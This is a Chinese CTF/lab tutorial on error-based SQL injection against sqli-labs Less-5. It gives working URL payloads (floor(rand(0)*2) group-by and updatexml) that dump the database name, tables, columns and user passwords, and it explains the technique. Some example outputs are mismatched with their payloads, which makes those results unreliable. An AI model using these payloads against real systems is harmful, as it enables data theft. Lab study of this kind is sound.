当前位置: 首页 > news >正文

【CTF-WEB-SQL】SQL注入基本流程-错误注入(sql-labs的Less5)(updatexml)

针对 Less-5 的实战利用

步骤一:获取数据库名
方法一:
http://223.112.39.132:46157/Less-5/?id=1' 
union select 1, count(*), 
concat((select database()), '---', floor(rand(0)*2)
) as a 
from information_schema.tables 
group by a --+

在这里插入图片描述

结果示例:

Duplicate entry 'security---1' for key 'group_key'

✅ 数据库名 = security

方法二:
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --+

在这里插入图片描述

结果示例:

XPATH syntax error: '~security~'

✅ 数据库名 = security

步骤二:获取所有表名
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()
), 0x7e), 1) --+

结果示例:

Duplicate entry 'emails,referers,uagents,users---0' for key 'group_key'

✅ 表名 = emails, referers, uagents, users
在这里插入图片描述


步骤三:获取字段名(以users表为例)
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
), 0x7e), 1) --+

结果示例:

XPATH syntax error: '~id,username,password~'

✅ 字段 = emails,referers,uagents,users

在这里插入图片描述


步骤四:拖取敏感数据
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (select group_concat(username,':',password) from users
), 0x7e), 1) --+

结果示例:

Duplicate entry 'Dumb:Dumb,Angelina:I-kill-you,...---0' for key 'group_key'

在这里插入图片描述

✅ 用户名密码 = Dumb:Dumb, Angelina:I-kill-you, ...


为什么这个方法在Less-5有效?

  1. 漏洞特性

    • 页面不显示查询结果,但显示SQL错误信息
    • rand(0)的确定性序列是触发报错的关键
  2. 优势对比

    方法请求次数速度复杂度
    布尔盲注数百次
    时间盲注数百次极慢
    报错注入1次即时
  3. 防御绕过
    即使应用不返回查询结果,只要泄露错误信息,此方法就有效


报错注入原理分析(针对您的Payload)

?id=1' 
union select 1, count(*), 
concat((select database()),  -- 获取数据库名'---', floor(rand(0)*2)      -- 生成随机数0或1
) as a 
from information_schema.tables 
group by a --+

关键技术点floor

  1. floor(rand(0)*2)

    • 固定种子0rand()会生成可预测序列:0,1,1,0,1,1...
    • floor(rand(0)*2) 结果序列:0,1,1,0,1,1...
  2. group by + count(*)

    • 当使用group by对虚拟列a分组时:
      • 首次遇到新值 → 建立新分组
      • 再次遇到相同值 → 增加计数
    • 关键漏洞:MySQL 在建立分组时先计算rand()值再判断是否存在分组
  3. 触发报错的流程

    行号rand()操作结果
    10创建分组 dbname---0成功
    21创建分组 dbname---1成功
    31增加分组 dbname---1计数成功
    40尝试增加分组 dbname---0计数⚠️ 但此时分组未创建(rand()序列特性)→ 报错
  4. 报错信息泄露数据
    错误消息会包含导致冲突的虚拟列值:

    Duplicate entry 'security---0' for key 'group_key'
    

    其中 security 就是数据库名!


http://www.lryc.cn/news/600305.html

相关文章:

  • 【GaussDB】如何从GaussDB发布包中提取出内核二进制文件
  • 【每天一个知识点】GAN(生成对抗网络,Generative Adversarial Network)
  • C++核心编程学习--对象特性--友元
  • ICMPv4报文类型详解表
  • GRE及MGRE应用综合实验
  • Spring AI 项目实战(二十):基于Spring Boot + AI + DeepSeek的智能环境监测与分析平台(附完整源码)
  • SpringMVC——请求
  • 常见代码八股
  • 0基础法考随手笔记 03(刑诉05 刑事证据与证明+06 强制措施)
  • Kafka MQ 消费者应用场景
  • 【web应用】基于Vue3和Spring Boot的课程管理前后端数据交互过程
  • DAY31 整数矩阵及其运算
  • 【C++】位运算符
  • 解锁反向海淘独立站:国内电商平台 API 接口全解析
  • LeetCode 1074:元素和为目标值的子矩阵数量
  • OGG同步Oracle到Kafka不停库,全量加增量
  • 【愚公系列】《MIoT.VC》003-构建基本仿真工作站(组件的属性、行为、视频展示)
  • Javaweb————什么是超文本传输协议?
  • HiggsAudio-V2: 融合语言与声音的下一代音频大模型
  • 详解力扣高频SQL50题之550. 游戏玩法分析 IV【中等】
  • 原理篇..
  • 2025年入局苹果Vision Pro开发:从零到发布的完整路线图
  • 路由选择工具——IP-Prefix
  • Triton Server部署Embedding模型
  • 谷粒商城170缓存序列化报错
  • 如何查看电脑后门IP和流量?
  • 图论:Dijkstra算法
  • CPU 为什么需要缓存?揭开速度与效率的底层逻辑
  • 大模型应用班-第2课 DeepSeek使用与提示词工程课程重点 学习ollama 安装 用deepseek-r1:1.5b 分析PDF 内容
  • 机器学习——随机森林算法分类问题案例解析(sklearn)